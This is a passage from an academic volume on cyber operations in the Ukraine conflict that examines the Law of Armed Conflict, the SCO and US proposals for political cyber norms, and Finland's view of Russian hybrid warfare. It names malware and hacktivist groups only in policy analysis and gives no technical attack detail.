The Tallinn Manual defines a cyber attack as a cyber operation, whether offensive or defensive, that is reasonably expected to cause injury or death to persons or damage or destruction to objects.54 This interpretation of the current law restricts cyber attacks to acts that have physical consequences.
If the parties to the conflict in Ukraine would have used cyber to inflict physical damage, injuries, or death, or to support kinetic operations, those cyber operations would be (cyber) attacks and subject to the relevant prohibitions and restrictions.
Most of the cyber activities in Ukraine however are information operations and do not meet the attack threshold.
Information operations, as such, are not directly addressed in the Law of Armed Conflict.
Whether they would be in violation of the law basically depends on the content of the message.
One example would be disseminating a threat- ening message with the purpose to spread terror among the civilian population.55 The disruption of elections, that took place in Ukraine, definitely violated domestic law, and when conducted or supported by another state, could also have been a breach of interna- tional law, but was not a violation of the Law of Armed Conflict.
4.3 Cyber Espionage During the conflict in Ukraine, cyber means have been used to gather intelligence including Snake, Blackenergy, and Sandworm.
Intelligence gathering and espionage are not forbidden by international law.
Espionage, in the context of the Law of Armed Conflict, has a narrow scope: it refers to operations that are conducted clandestinely or under false pretences, taking place on territory controlled by the adversary behind enemy lines.56 For instance, a close access cyber operation where an agent is gaining access to servers being used by the adversary by feigning a false identity and extracting information by using a thumb drive, could be espionage.
An agent captured before reaching his own troops has no PoW status and can be tried as a spy.
Gathering intel- ligence from a distance is not espionage in the meaning of the Law of Armed Conflict.
Snake, Blackenergy, and Sandworm reportedly have a Russian connection.
If Russia or another state would be actively supporting the separatists in eastern Ukraine by providing intelligence, that would not necessarily internationalise the conflict.
Mere operational support does not meet the overall control threshold.57 54 Tallinn Manual, 106.
55 Protocol I, Article 51(2), and Protocol II, Article 13(2).
56 Tallinn Manual, 192-193.
57 Tallinn Manual, 81.
Information operations, as such, are not directly addressed in the Law of Armed Conflict.
5 Conclusions International law applies to cyberspace.
During armed conflict, the Law of Armed Conflict applies to any cyber operation conducted in association with the hostilities.
Until now, we have not seen a case where cyber hostilities between parties by them- selves constituted an armed conflict.
Rather, they have remained as one part of a larger, traditional conflict.
This dynamic has not changed during the conflict in Ukraine.
This chapter describes the international legal framework for the conflict in Ukraine and the cyber operations that have been conducted in association with that conflict.
The legal situation is somewhat unclear due to diverging views on various aspects of the crisis, such as the annexation of Crimea and the alleged involvement of Russian military forces in eastern Ukraine.
Another aspect that complicates a legal evaluation is that cyber operations are often conducted by non-state actors, whose status and affiliation are not always clear.
The protests at Maidan Square turned violent, but they were not an armed con- flict they were an internal law enforcement matter.
The annexation of Crimea led to the peninsulas occupation by Russia, but Russia disputes that interpretation.
During an occupation, the Law of Armed Conflict applies.
Eastern Ukraine can today be considered a non-international armed conflict, where cyber operations must be conducted in accordance with the minimum safeguards the Law of Armed Conflict provides for such situations.
In the Ukraine conflict, the publicly known cyber operations have not gen- erally been considered to be sophisti- cated likely not corresponding to the real national capabilities of Russia and Ukraine.
The prevailing assumption is that, with the exception of some advanced cyber espionage malware such as Snake, the known cyber attacks could have been con- ducted by non-state actors.
These hackers or hacker groups, trying to affect the adver- sarys military activities, are participating in hostilities and have to conduct their opera- tions in accordance with the Law of Armed Conflict.
At the end of the day, cyber operations in the Ukraine conflict have been used either to gather intelligence or as part of an ongoing information war between the parties.
They were not launched to inflict damage to infrastructure and other military capabilities.
As a result, most of these cyber operations have not yet risen to the level of activities proscribed or even governed by the Law of Armed Conflict.
That would be different when cyber would be more integrated in kinetic warfare operations.
Cyber operations are often conducted by non-state actors, whose status and affil- iation are not always clear.
135 The Ukraine Crisis as a Test for Proposed Cyber Norms Henry Rigas NATO CCD COE 1 Introduction In international forums, governments, academia, and the private sector have stren- uously argued that states must agree on existing or develop a set of international norms for conflict in cyberspace.
Our current environment is characterised by a steep rise in the development of offensive cyber tools and tactics as well as a gen- eral disagreement on when and where it is appropriate to use them.
The overall result is a popular perception of a weakened international security environment that threatens to devolve into an anarchic Hobbesian world of all against all.
Against this backdrop, there have been urgent calls for greater investment in cyber diplomacy.1 The term norm has become some- what of a buzzword in these discussions used to argue that states should adhere to certain rules of behaviour with regard to conducting cyber operations.
This chapter will thus first describe the nature of cyber norms and then discuss the primary developments in the global arena.
The authors focus will be on the proposed cyber norms of behaviour that would have a politically binding character, and will avoid discussing existing international law 1 See, for example, developments in the United Nations: http://www.un.org/disarmament/topics/informationsecurity/, and The Council of the European Unions conclusions on cyber diplomacy: http://data.consilium.europa.eu/doc/document/ST-6122- 2015-INIT/en/pdf.
Chapter 15 The term norm has become somewhat of a buzzword.
http://www.un.org/disarmament/topics/informationsecurity/ 136 (legal norms)2 as well as the challenges of practical implementation of the these norms.
Finally, this chapter will analyse the Ukraine crisis in light of these propos- als, and attempt to assess their rationality and applicability.
The Russo-Ukrainian conflict, in theory, offers a suitable case study in that there has been ample room for malicious state-sponsored cyber activities: first, nation-states perceived as having considerable cyber capabilities not only Russia and Ukraine, but also surrounding nations and the member states of NATO are involved, at least indi- rectly and second, the crisis has both endured and evolved from the Euromaidan street protests to the Russian annexation of Crimea to open, armed conflict in eastern Ukraine.
2 Proposed Political Cyber Norms In international relations, norms are often defined as collective expectations of proper behaviour for an actor with a given identity,3 which is broad enough that states (and other stakeholders) use the term to put forward a wide range of propos- als in diplomatic forums.
This chapter takes a simplified approach, limiting its scope to (1) legal and (2) political norms: the proper behaviour of states is comprehen- sively regulated by international law (i.e.
legal norms such as treaties, international customs, and general principles of inter- national law)4 and through cyber diplo- macy in the form of political or non-legally binding agreements.
The United Nations Group of Governmental Experts (UN GGE) has explained the nature of these politically binding instruments by stating that norms reflect the international communitys expectations, set standards for responsible State behaviour and allow the international community to assess the activities and intentions of States.
The problem, of course, is that breaches of such political norms only give rise to political, non-legal consequences.5 There has been some agreement between nation states on setting international cyber norms.
In 2013, the UN published an accord, written by a GGE including representatives from the US, UK, China, and Russia, expressing consensus on the 2 For a discussion on the role of legal cyber norms, see Michael N. Schmitt and Liis Vihul.
The Nature of International Law Cyber Norms, Tallinn Papers, no.
6 (2014), https://ccdcoe.org/sites/default/files/multimedia/pdf/Tallinn20Paper20No20 20520Schmitt20and20Vihul.pdf.
3 See Martha Finnemore and Kathryn Sikkink.
International Norm Dynamics and Political Change, International Organization 52, no.
4 (October 1, 1998): 887917.
4 See sources of international law listed in the Statute of the International Court of Justice (ICJ), Article 38.
5 Some have also used the terms hard and soft law in this context, see Dinah Shelton.
Normative Hierarchy in International Law, The American Journal of International Law 100, no.
2 (April 1, 2006): 291323.
For a concept listing policy responses to cyber incidents, see Tobias Feakin.
Developing a Proportionate Response to a Cyber Incident Council on Foreign Relations, August 2015, http://www.cfr.org/cybersecurity/developing-proportionate-response-cyber-incident/p36927.
Norms reflect the interna- tional communitys expec- tations, set standards for responsible State behaviour.
137 basic notion that existing international law applies to cyberspace.
6 In 2015, the same forum published another report7 which delved into greater detail, but the GGE has previously not elaborated on precisely how to apply existing laws (legal norms) to the nuanced field of cyber security.
The reports did state, however, that the unique attributes of information and communications technology (ICTs) could demand the creation of altogether new norms.
The fairly general agreement expressed in the reports can be viewed both as the lowest common denominator between the worlds key cyber powers and as a manifestation of a general lack of clarity in this new geopolitical arena.
Meanwhile academia has to some degree filled the void, actively addressing the applicabil- ity of existing international law,8 although work in the area of state practice and interpretation has been relatively limited.
In the context of norms restraining state behaviour, existing international law such as the prohibition on the use of force and the law of armed conflict (LOAC) are highly relevant and indispensable, but it is likely that additional norms political rather than legal will be developed by the international community over time.
Two somewhat opposing approaches to these new political norms will be addressed below.
One group of nations acting as norm entrepreneurs9 seems to aim for a trea- ty-level agreement to govern state activities in cyberspace.
Member nations of the Shanghai Cooperation Organisation (SCO)10 have proposed a Code of Conduct for International Information Security11 to the UN.
In parallel, Russia has developed (in 2011) a separate concept for a Convention on International Information Security12 which covers, to a large extent, the same territory.
These proposed instruments do not apply the prefix cyber when addressing ICT-related issues instead, the focus is on preserving information security which represents a broad conceptualisation of the threat environment and the scope of limited state activities.13 According to SCOs own agreement on information secu- rity (the Yekaterinburg Agreement of 2009)14 and the aforementioned Convention proposal by Russia (2011), information war entails, in addition to damaging infor- mation systems and critical infrastructures (which is often the Western scope of 6 United Nations, General Assembly, Group of Governmental Experts on Developments in the Field of Information and Tele- communications in the Context of International Security, A/69/723, 2013, http://www.un.org/ga/search/view_doc.asp?symbol- A/68/98.
7 United Nations, General Assembly, Group of Governmental Experts on Developments in the Field of Information and Tele- communications in the Context of International Security, A/70/174, 2015, http://daccess-dds-ny.un.org/doc/UNDOC/GEN/ N15/228/35/PDF/N1522835.pdf?OpenElement.
8 See the Tallinn Manual process: https://ccdcoe.org/research.html.
9 See Finnemore and Sikkink.
International Norm Dynamics and Political Change, October 1, 1998.
10 Member States of the SCO are China, Kazakhstan, Kyrgyzstan, Russia, Tajikistan, and Uzbekistan.
11 United Nations, General Assembly, Letter Dated 9 January 2015 from the Permanent Representatives of China, Kazakhstan, Kyr- gyzstan, the Russian Federation, Tajikistan and Uzbekistan to the United Nations Addressed to the Secretary-General, A/69/723, 2015, https://ccdcoe.org/sites/default/files/documents/UN-150113-CodeOfConduct.pdf.
12 The Ministry of Foreign Affairs of the Russian Federation.
Convention on International Information Security (Concept), 2011, http://www.mid.ru/bdomp/ns-osndoc.nsf/1e5f0de28fe77fdcc32575d900298676/7b17ead7244e2064c3257925003bcbc- cOpenDocument.
13 See, for example, James A. Lewis.
Liberty, Equality, Connectivity: Transatlantic Cybersecurity Norms, Strategic Technologies Program (Center For Strategic and International Studies, 2014), 6.
14 Annex 1of SCO, Agreement between the Governments of the Member States of the Shanghai Cooperation Organisation on Coop- eration in the Field of International Information Security.
https://ccdcoe.org/research.html 138 actions when the term cyber security is used), also psychologic brainwashing to destabilise society and state, signalling that for them the threat also stems from con- tent and information itself.15 The Code of Conduct puts a strong emphasis on the principle of information sovereignty,16 arguing that states should not use ICTs and information and com- munication networks to interfere in the internal affairs of other states or with the aim of undermining their political, economic and social stability.
It asks states to refrain from activities which run counter to the task of maintaining interna- tional peace and security and highlights a states responsibility to protect infor- mation space and critical information infrastructure against damage resulting from threats, interference, attack and sabotage.
Further, it includes a section that prohibits states from using dominant position in ICTs to engage in the afore- mentioned activities.
In terms of international cooperation, the Code seeks to curb the dis- semination of information that incites terror- ism, separatism or extremism.
These documents demonstrate the ambi- tion of the SCO members to see an eventual treaty-level agreement.
However, if the Code of Conduct would actually be adopted in the current form, it could not be con- sidered as a source of international law (a legal instrument) since the norms are of a politically binding character due their aspirational and non-compulsory nature.17 The Code of Conduct has not been put to a vote as adoption at the UN is highly unlikely due to opposition from many liberal democracies.
An alternative strategy, promoted initially by the US, is to strengthen international cyber security through voluntary norms of behaviour that pertain during peacetime.18 According to this logic, most cyber operations fall below the use of force threshold, which means that most of the existing legal norms regulating interstate cyber operations are not suffi- cient.19 During the height of the cyber inci- dents in Ukraine, the US promoted the fol- 15 See, for example, Keir Giles.
Russias Public Stance on Cyberspace Issues, in 2012 4th International Conference on Cyber Con- flict, ed.
Christian Czosseck, Rain Ottis, and Katharina Ziolkowski (NATO CCD COE Publication, 2012), http://www.ccdcoe.
org/publications/2012proceedings/2_1_Giles_RussiasPublicStanceOnCyberInformationWarfare.pdf.
16 See the Chinese viewpoint in Lu Wei.
Cyber Sovereignty Must Rule Global Internet, The Huffington Post, December 15, 2014, http://www.huffingtonpost.com/lu-wei/china-cyber-sovereignty_b_6324060.html.
17 Schmitt and Vihul.
The Nature of International Law Cyber Norms, 4.
18 States supporting this view strongly emphasise the applicability of existing international law and see that these norms should be voluntary measures of self-restraint during peacetime, see Christopher M. E. Painter.
Testimony of Christopher M. E. Paint- er, Coordinator for Cyber Issues, U.S. Department of State Before the Senate Foreign Relations Committee Subcommittee on East Asia, the Pacific, and International Cybersecurity Policy Hearing Titled: Cybersecurity: Setting the Rules for Responsible Global Behaviour, 2015, http://www.foreign.senate.gov/imo/media/doc/051415_Painter_Testimony.pdf.
19 Ibid.,
89.
Also, see Tallinn Manual 2.0 process focusing on international law applicable to cyber operations that do not mount to an use of force or do not take place during armed conflict, https://ccdcoe.org/research.html .
Documents demon- strate the ambition of SCO members to see a treaty-level agreement.
An alternative strategy is to strengthen inter- national cyber security through voluntary norms.
139 lowing four norms of which the first three were included in the recent UN GGE report:20 (1) states should not conduct or knowingly support online activity that damages or impairs critical infrastructure (norm 1) (2) states should not conduct or knowingly support activity intended to prevent the national Computer Security Incidents Response Teams (CSIRTs or CERTs) from responding to cyber incidents, nor use CSIRTs to do harm (norm 2) (3) states should cooperate with other states in investigating cybercrime by collecting electronic evidence and mitigating cyber activity emanat- ing from its territory (norm 3) and (4) states should not conduct or knowingly support cyber-enabled theft of commercially valuable intellectual property (norm 4).
Before we move on, it is important to note that these and other cyber norms have been analysed in academic circles21 as well as in the private sector.
For example, Microsoft has recommended six cybersecurity norms designed to limit the prolifer- ation of cyber weapons and offensive operations in cyberspace.22 3 Observations from Ukraine: Hints of State-sponsored Operations The attribution of cyber attacks is notoriously difficult.
In order to discover state-sponsored operations, one can only speculate based upon inconclusive indica- tors such as target, malware, motive, and complexity.
In Ukraine, some advanced cyber espionage tools such as Turla/Snake/Ouro- bours and Sandworm have not only been linked to the conflict, but also associated with an Advanced Persistent Threat (APT) actor (i.e.
nation-state), likely Russia.23 At the same time, analysts have argued that most of the cyber attack methods in Ukraine such as DDoS attacks and defacements have been technically unsophisti- cated.
Thus, on balance, the complexity criterion appears unmet.
20 Painter.
Testimony of Christopher M. E. Painter, Coordinator for Cyber Issues, U.S. Department of State Before the Senate Foreign Relations Committee Subcommittee on East Asia, the Pacific, and International Cybersecurity Policy Hearing Titled: Cybersecu- rity: Setting the Rules for Responsible Global Behaviour.
21 For example, drawing parallels with state obligations during crises on the sea, a duty to assist victims of severe cyberattacks (an e-SOS) has been proposed by Duncan B. Hollis in An E-SOS for Cyberspace, Harvard International Law Journal 52, no.
2 (2011), http://papers.ssrn.com/sol3/papers.cfm?abstract_id1670330.
22 Angela McKay et al.,
International Cybersecurity Norms.
Reducing Conflict in an Internet-Dependent World (Microsoft, 2015), http://download.microsoft.com/download/7/6/0/7605D861-C57A-4E23-B823-568CFC36FD44/International_Cyber- security_20Norms.pdf.
23 See, for example, Suspected Russian Spyware Turla Targets Europe, United States, Reuters, March 7, 2014, http://www.reuters.
com/article/2014/03/07/us-russia-cyberespionage-insight-idUSBREA260YI20140307 Zero Day Vulnerability CVE-2014- 4114 Used in Cyber-Espionage, iSIGHT Partners, October 21, 2014, http://www.isightpartners.com/2014/10/cve-2014-4114/.
140 Actions attributed to hacktivist groups also raise questions regarding possible coordination with state enti- ties.
For example, Ukrainian officials reported that, even when the hacktivist group CyberBerkut failed to compro- mise Ukraines online election system and only managed to present fake election results on the elections website for a very brief period, a Russian state-owned TV channel still displayed these results immediately.24 In another incident, CyberBerkut allegedly leaked the recording of a phone call between Estonian Minster of For- eign Affairs Urmas Paet and European Union (EU) High Representative for Foreign Affairs and Security Policy Catherine Ashton, suggesting that Cyber Berkut either possesses sophisticated cyber capabilities or has links to Russian intelligence ser- vices.25 Here, we must remember SCOs focus on information security, as opposed to cyber security, and in fact many analysts believe that both Russia26 and Ukraine27 are conducting information operations within the context of the ongoing conflict in eastern Ukraine.
The internet is a natural terrain for these operations28 the reported troll factories in St. Petersburg creating pro-Russian comments for online new media serve as prominent examples.29 4 Which Norms of Behaviour Were Followed?
Thus, there are two dominant ongoing conversations relative to the creation of political cyber norms: (1) the information security norms proposed by the SCO, and (2) the voluntary norms of behaviour in peacetime (initially promoted by the US).
This section will analyse the known cyber incidents in Ukraine in the context of these two normative frameworks.
24 Mark Clayton.
Ukraine Election Narrowly Avoided Wanton Destruction from Hackers, Christian Science Monitor, June 17, 2014, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruc- tion-from-hackers-video.
25 Ewen MacAskill.
Ukraine Crisis: Bugged Call Reveals Conspiracy Theory about Kiev Snipers, The Guardian, March 5, 2014, http://www.theguardian.com/world/2014/mar/05/ukraine-bugged-call-catherine-ashton-urmas-paet Trend Micro, Hacktiv- ist Group CyberBerkut Behind Attacks on German Official Websites, Security Intelligence Blog, http://blog.trendmicro.com/ trendlabs-security-intelligence/hacktivist-group-cyberberkut-behind-attacks-on-german-official-websites/.
26 NATO StratCom Centre of Excellence, Analysis of Russias Information Campaign Against Ukraine, October 15, 2014, http:// www.stratcomcoe.org/download/file/fid/1910.
27 Maksim Vikhrov.
Ukraine Forms Ministry of Truth to Regulate the Media, The Guardian, December 19, 2014, http://www.
theguardian.com/world/2014/dec/19/-sp-ukraine-new-ministry-truth-undermines-battle-for-democracy.
28 Maeve Shearlaw.
From Britain to Beijing: How Governments Manipulate the Internet, The Guardian, April 2, 2015, http:// www.theguardian.com/world/2015/apr/02/russia-troll-factory-kremlin-cyber-army-comparisons.
29 Dmitry Volchek and Daisy Sindelar.
One Professional Russian Troll Tells All, RadioFreeEurope/RadioLiberty, March 25, 2015, sec.
Russia, http://www.rferl.org/content/how-to-guide-russian-trolling-trolls/26919999.html Shearlaw.
From Britain to Bei- jing.
Actions attributed to hack- tivist groups raise questions regarding possible coordina- tion with state entities.
141 4.1 The Information Security Norms Proposed by the SCO In general, the state-sponsored conventional military operations in Ukraine are not in accordance with international norms30 therefore, it should come as no surprise that the reported cyber incidents also appear unorthodox.
However, one important question, given that Russia is directly involved in the Ukraine conflict, is how these cyber incidents fit into the Code of Conduct framework whose primary focus is informa- tion sovereignty.
In that regard, alleged Rus- sian cyber operations would appear inconsis- tent with the norms it has hitherto proposed or supported.
In fact, most of the cyber inci- dents reported by both sides in the conflict seem to fall into the category of information operations, which could be interpreted as violating another states information sovereignty.
In the words of the Code of Conduct, ICTs were likely used in an effort to interfere in the internal affairs of other States [] with the aim of undermining their political, economic and social stability.
Since the norms supported by SCO and Russia focus on information rather than strictly cyber security, one can see that the non-cyber information opera- tions via other media such as TV are also inconsistent with the stated principle of information sovereignty.
The Code of Conduct also prohibits the abuse of a dom- inant position in cyberspace in this regard too, Russia may have violated its own principles by abusing its control over Russian-owned social media networks such as Vkontakte and Odnoklassniki which are also popular among Ukrainian users.31 Analysing the application of the SCO-proposed information security norms reveals an inherent weakness: quantifying the influence of highly subjective infor- mation content or identifying a breach of information sovereignty is problematic, if not impossible.
4.2 The Voluntary Norms of Behaviour in Peacetime The voluntary, politically binding norms advocated by the US (and partly recom- mended by the UN GGE) are intended to apply in peacetime.
Nonetheless and however one classifies the Ukraine conflict from a legal perspective32 we can still speculate relative to their application during a time of conflict.
In Ukraine, the most important observation so far is that no destructive cyber attacks on critical infrastructure (CI) have been reported by either side.
To some degree, this offers hope that the norm of limiting cyber attacks against CI could 30 See collection of legal arguments related to the use of force in the Ukraine conflict, Debate Map: Ukraine Use of Force, ac- cessed August 17, 2015, http://opil.ouplaw.com/page/ukraine-use-of-force-debate-map.
31 Margarita Jaitner and Peter A. Mattsson.
Russian Information Warfare of 2014, in 2015 7th International Conference on Cyber Conflict, ed.
Markus Maybaum, Anna-Maria Osula, and Lauri Lindstrm (NATO CCD COE Publication, 2015), 3952 Vkon- takte Founder Flees Russia, Claims Persecution, The Moscow Times, April 22, 2014, http://www.themoscowtimes.com/news/ article/vkontakte-founder-flees-russia-claims-persecution/498715.html.
32 See Chapter 14 by Jan Stinissen.
Alleged Russian cyber operations appear incon- sistent with the norms it has hitherto proposed.
142 evolve into a standard of behaviour.33 A possible exception is the alleged sabo- tage of the Ukrainian election system, but even here, one might disagree over whether this was a simple information operation or a serious attack against CI.34 The pertinent question here may relate to the proper definition of CI.
Historically, there have been some significant network intrusions,35 but relatively few examples of effective cyber attacks against CI.36 The few cases that are pre- sented as destructive state-sponsored attacks Stuxnet being the best-documented example37 can still be seen as outliers.
With that in mind, even well-established norms are mere collective expectations of proper behaviour38, and it is unrealistic to assume that every actor (especially a nation at war) would always abide by them.
Assuming there have been no attacks against CI in Ukraine, can we say that this is another example of cyber powers restraining themselves?39 First, this restraint may be strongly influenced by case-specific factors, as explained by Martin Libicki in Chapter 12.
Second, one can identify more universal reasons stemming from classi- cal realpolitik calculus of state actors.
Is it possible that cyber does not give nation- states a revolutionary way to damage CI (or otherwise harm the citizens of an adversary state) for strategic gain?40 Or does the case of Ukraine show that cyber operations are now universally employed, but less effective than feared?41 In other words, the tactical opportunities that cyber is often seen as providing the infinite reach, low cost of entry, and plausible deni- ability may not easily translate to the strategic level.42 This is also apparent as there 33 Limiting attacks against CI was also covered in the aforementioned SCOs Code of Conduct.
34 Clayton.
Ukraine Election Narrowly Avoided Wanton Destruction from Hackers (video).
35 See, for example, Trend Micro and Organization of American States.
Report on Cybersecurity and Critical Infrastructure in the Americas, 2015, http://www.trendmicro.com/us/security-intelligence/research-and-analysis/critical-infrastructures-se- curity/index.html?cm_mmcVURL:www.trendmicro.com-_-VURL-_-/oas/index.html-_-vanity Jack Cloherty et al.,
Trojan Horse Bug Lurking in Vital US Computers, ABC News, November 7, 2014, http://abcnews.go.com/US/trojan-horse-bug- lurking-vital-us-computers-2011/story?id26737476 Havex Malware Strikes Industrial Sector via Watering Hole Attacks, SC Magazine, June 25, 2014, http://www.scmagazine.com/havex-malware-strikes-industrial-sector-via-watering-hole-attacks/ article/357875/.
36 Thomas Rid.
Cyber War Will Not Take Place (Oxford New York: Oxford University Press, 2013) Brandon Valeriano and Ryan C. Maness.
Cyber War versus Cyber Realities: Cyber Conflict in the International System (Oxford New York: Oxford University Press, 2015).
37 David E. Sanger.
Obama Ordered Wave of Cyberattacks Against Iran, The New York Times, June 1, 2012, http://www.nytimes.
com/2012/06/01/world/middleeast/obama-ordered-wave-of-cyberattacks-against-iran.html.
38 Finnemore and Sikkink.
International Norm Dynamics and Political Change, October 1, 1998.
39 Valeriano and Maness.
Cyber War versus Cyber Realities Rid, Cyber War Will Not Take Place.
40 For a collection of authors challenging the cyber threat perception, see The Cyberskeptics, Cato Institute, http://www.cato.
org/research/cyberskeptics.
41 Rid.
Cyber War Will Not Take Place Valeriano and Maness.
Cyber War versus Cyber Realities.
42 See similar remarks made by Jason Healey at Atlantic Councils panel on Waging Cyber Conflict, https://www.youtube.com/ watch?vaTKk4CSC9EM.
This offers hope that the norm of limiting cyber attacks against CI could evolve into a standard of behaviour.
Is it possible that cyber does not give nation-states a rev- olutionary way to damage CI for strategic gain?
143 is still no shortage of cyber sceptics,43 even if the vexing attribution problem were hypothetically to go away.44 The Ukraine case study, at least, suggests that cyber has not yet changed the game in terms of state vs. state cyber attacks that destroy physical infrastructure.
More likely, it can be understood as one additional weapon in a states arsenal, and that existing norms both legal and political governing traditional state-to-state actions are still followed as if they were applying to other, more conventional attack methods.
As of October 2015, the examples of cyber incidents in the Ukraine crisis allow us to make tentative observations about the other proposed norms of behaviours (2, 3, and 4).
In respect of norm number 2, there have been no reported allegations of interference with the work of the national CERTs.
However, although some per- sonal communications may have continued, there have been few official CERT to CERT discussions since the conflict began.45 Against number 3, there have been no published reports of recent Russo-Ukrainian cybercrime investigations,46 but that may be too much to hope for given that the two countries are currently in open conflict.
However, the fact that Russia is unwilling to accede to the Budapest Con- vention on Cybercrime does not stand in its favour.
The final norm, number 4, which asks states not to steal intellectual property via cyber means, is also likely not followed, given the two countries current state of hostilities and numerous reports of ongoing cyber espionage.
Adopting the norm concerning cyber espionage is in any case fraught with challenges, as its primary norm entrepreneur, the US, has been heavily criticised by both allies and adversar- ies in the wake of the Snowden revelations.
Further, it can be difficult if not highly subjective to determine whether any given attack was intended for political or economic gain.
On a global level, cyber espionage appears to be a silently accepted norm.
The latest UN GGE (2015), for example, did not mention it in its latest pub- lication, signalling that the international community is currently not motivated to address the topic, and its global curtailment, at least in the short term, is unlikely.
5 Conclusion The Ukraine case study suggests that, during this conflict, nation-states have not adhered to many of the proposed political cyber norms covered in this chapter.
Hence, it is doubtful that these rules will be globally accepted in the near future.
43 See, for example, note 40 on The Cyberskeptics, and discussion between Jarno Limnll and Thomas Rid.
Is Cyberwar Real?,
Foreign Affairs, March/April 2014, https://www.foreignaffairs.com/articles/global-commons/2014-02-12/cyberwar-real.
44 See, for example, Martin Libicki.
Would Deterrence in Cyberspace Work Even with Attribution?,
Georgetown Journal of Inter- national Affairs, April 22, 2015, http://journal.georgetown.edu/would-deterrence-in-cyberspace-work-even-with-attribution/.
45 Conversations with Ukrainian cyber security experts.
46 Brian Ries.
Gang of Cyber Criminals on the Run in Ukraine and Russia,Mashable, June 3, 2014, http://mashable.
com/2014/06/03/cyber-criminals-russia-ukraine-gameover-zeus/ Tom Brewster.
Trouble with Russia, Trouble with the Law: Inside Europes Digital Crime Unit The Guardian, April 15, 2014, http://www.theguardian.com/technology/2014/apr/15/eu- ropean-cyber-crime-unit-russia.
First, the known cyber operations appear contrary to the letter and spirit of the Code of Conduct as most of the incidents can be seen as part of the larger infor- mation war.
Second, most of the norms advocated by the US were also breached as cyber espionage was widely reported, and international cooperation between the two nations CERTs and law enforcement agencies has been absent.
As a positive sign for international security, there have been no reports of destruc- tive cyber attacks against CI in Ukraine.
This appears to go against what one could expect to see in a modern military conflict.
Is this a sign that the norm of not using cyber to harm CI as also recently advocated by the UN GGE is likely to be glob- ally accepted and followed in the future?
Hopefully, as this potential norm is perhaps the most important in terms of strengthening international cyber security and sta- bility.
As of October 2015, the Ukraine conflict appears to indicate that cyber opera- tions have not yet (contrary to popular belief) substan- tially challenged the exist- ing norms governing state behaviour in conflict situa- tions.
Cyber operations have not yet (contrary to popular belief) substantially chal- lenged the existing norms governing state behaviour in conflict situations.
145 Northern European Cyber Security in Light of the Ukraine War Jarno Limnll Aalto University 1 Introduction The Ukraine war is a game changer in the international security environment, and its ramifications in Northern Europe are profound.
Numerous countries in the region feel that their national security is directly threatened, especially those bordering Rus- sia.
New NATO members Estonia, Latvia, Lithuania, and Poland are seeking concrete forms of reassurance from Washington and Brussels, while non-members like Swe- den and Finland have reinforced their ties with the NATO Alliance.
The Nordic and Baltic countries have sought a closer partnership during the Ukraine war, and this has created an opportunity to advance their regional cyber security dialogue.
Received wisdom states that small countries, especially those located next to a big country, are most at risk when international security breaks down, and that big states do what they want while small states do what they must.
During the war in Ukraine, northern European countries have been forced to re-evaluate their rela- tionship with NATO as well as their preparedness against Russias hybrid warfare which blends conventional and unconventional operations, regular and irregular tactics, information warfare, and cyber warfare.
Cyber threats in particular have been an integral part of these ongoing discussions, as northern European countries have been subjected to various forms of cyber attack during the Ukraine war.
This chapter concentrates on two of Russias neighbours that have always been in the realist camp in term of their national security policy: Finland and Esto- Chapter 16 146 nia.
The response of each nation to the Ukraine crisis has been different, reflecting their traditional approaches to foreign and security policy as well as their existing ties to NATO.
Yet these two nations have much in common: a fundamental inter- est in regional stability, Western unity, a norms-based view of international order, interdependence, and an essential need for cooperation in the field of foreign and security policy.
These same principles drive both nations prevailing views on both information security and cyber security two issues which are sometimes distinct, and sometimes closely related.
2 Finland: Coming to Terms with Hybrid Warfare Is Finland really getting ready for war with Russia?
An American news channel posed this question in May 2015, when nearly a million Finnish military reservists received letters detailing their assigned duties in a crisis situation.1 In fact, the cor- respondence was unrelated to Russias annexation of Crimea or its ongoing war in Ukraine, but the media attention that this event generated speaks volumes about the age-old nature of the Russo-Finnish relationship.
Historically, Finlands national security strategy has almost exclusively been focused on Russia, and Finns have been following the war in Ukraine extremely closely.
From the beginning, Finland has condemned Russias activities in its largest European neighbour.
Finnish President Sauli Niinist summarised the current situ- ation well: We have a long history with Russia not that peaceful all the time.
So everything the Russians are doing, surely the Finns notice and think very carefully about what that might mean.2 Defence Minister Carl Haglund was more direct in his choice of words: Russia says one thing but does another.
I do not trust Russia at all.3 The concept of cyber is rather new in the Finnish language.4 It was institution- alised in 2013, when Finland published its National Cyber Security Strategy, which described cyber security as the desired end state in which the cyber domain is reli- able and in which its functioning is ensured.5 Public discussion of the importance of cyber security is a natural outgrowth of Finland being one of the most advanced information societies in the world, a country that relies heavily on the proper func- tioning of myriad electronic networks and services.
For years, there has been an active societal debate in Finland on topics such as public-private partnerships in cyberspace, the need for better legislation, the development of cyber defence capa- bilities within the Finnish Defence Forces, and much more.
1 Holly Ellyatt.
Is Finland really getting ready for war with Russia?CNBC, May 25, 2015.
2 Griff Witte.
Finland feeling vulnerable amid Russian provocations, The Washington Post, November 23, 2014, 6.
3 Gerard ODwyer.
Finland Brushes Off Russian Overtunes, DefenseNews, February 15, 2015, http://www.defensenews.com/ story/defense/international/2015/02/15/finland-russia-border-relationship/23301883/.
4 Jarno Limnll.
Kyber rantautui Suomeen, Aalto University Publication Series 12/2014, Helsinki 2014.
Concepts like informa- tion security or computer security have been used for decades in the Finnish language.
5 Secretariat of the Security Committee, Finlands Cyber Security Strategy, Government Resolution 24.1.2013, 1.
147 In Finland, there has been intense analytical focus on Russias traditional warfare capabilities (including in Ukraine), but there has been limited discussion regarding Russias cyber activities.
Finnish analysts have noticed Russian cyber espi- onage in Ukraine, Distributed Denial-of-Service (DDoS) attacks against Ukraine, and the disruption by pro-Russian hackers of Ukrainian media and telecommunica- tions networks.6 However, most Finnish cyber experts have been surprised that cyber attacks have not played a greater role in the conflict, and frankly, we expected to see more.
According to our analysis, the primary reason for this is likely that Ukraine is simply not a very cyber-dependent country therefore, Russia could better fulfil its national security agenda by other means, as cyber attacks may not have the desired effect.
As a consequence, it has not been necessary for Russia to use its more strategic cyber capabilities.
In Finland, one change has been a deeper appreciation of the seriousness of cyber espionage, and this is partly due to Russias cyber activity in Ukraine.
For the first time, Finland has accused Russia of carrying out intelligence activities both physical and cyber within its territory.
In the past, Finnish Security Police reports had only vaguely mentioned that some foreign countries had engaged in espionage against Finland.
Cyber threats from Russia have been viewed in Finland primarily in the con- text of hybrid warfare, which is understood in Finland to be a more intelligent or efficient way to wage war because it seeks to achieve political goals without the extensive use of traditional violence.
